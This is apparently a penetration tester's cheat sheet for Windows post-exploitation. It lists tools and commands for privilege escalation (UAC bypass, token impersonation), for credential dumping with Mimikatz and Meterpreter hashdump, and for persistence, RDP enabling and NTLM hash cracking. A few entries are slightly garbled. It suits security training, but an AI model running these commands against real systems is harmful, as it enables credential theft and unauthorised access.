





Privilege Escalation

Escalation Vector	Tools
Windows Kernel (Windows NT)	Windows-Kernel-Exploits
Missing Patch Enumeration	Windows-Exploit-Suggester
Escalation Enumeration	local_exploit_suggester (MSF)
UAC	UACMe Akagi.exe (Priv Esc Script) MSFvenom Akagi64.exe {KEY/23} { FULL _PATH_TO_MSFVENOM_MPRETER_PAYLOAD} MSF bypassuac_injection
Access Token Impersonation	Incognito (MSF Module to load) list_tokens -u impersonate_token "{TOKEN_NAME}"
Unattended Windows Setup Utility	Mass deployment of Windows – Check files in C:\Windows\Panther\Unattend.xml
Common Windows privilege escalation flaw finder	PowerUp.ps1 Invoke-PrivescAudit
Escalation Checker	PrivescCHeck.ht.ps://github.com/itm4n/PrivescCheck

Credential Dumping

Tool	Purpose	
Metasploit Meterpreter	Dump user hashes using hashdump	
Kiwi	Credential harvesting (MSF) Type "?" for commands	
Mimikatz	Credential harvesting /usr/share/windows-resources/mimikatz/x64/mimikatz.exe privilege::debug (To check if OK after spawning a shell) lsadump::sam (SAM Dumping) sekurlsa::logonpasswords	

Internal Enumeration

MSF Module		
enum_logged_on_users	enum_computers	
enum_applications	enum_patches	
checkvm	enum_shares	
enum_av_excluded	enable_rdp	
JAWS https://github.com/411Hall/JAWS powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 - OutputFilename JAWS-Enum.txt		





MSF Module CMD	Usage
persistence_service	Persistence
enable_rdp	RDP Enabler
run getgui -e -u {UserName} -p {Password}	RDP Enabler

Hash Cracking

Tool	Purpose
johnformat=NT {HashFile}	NTLM Hash Crack
hashcat -a3 -m 1000 {HashFile}	NTLM Hash Crack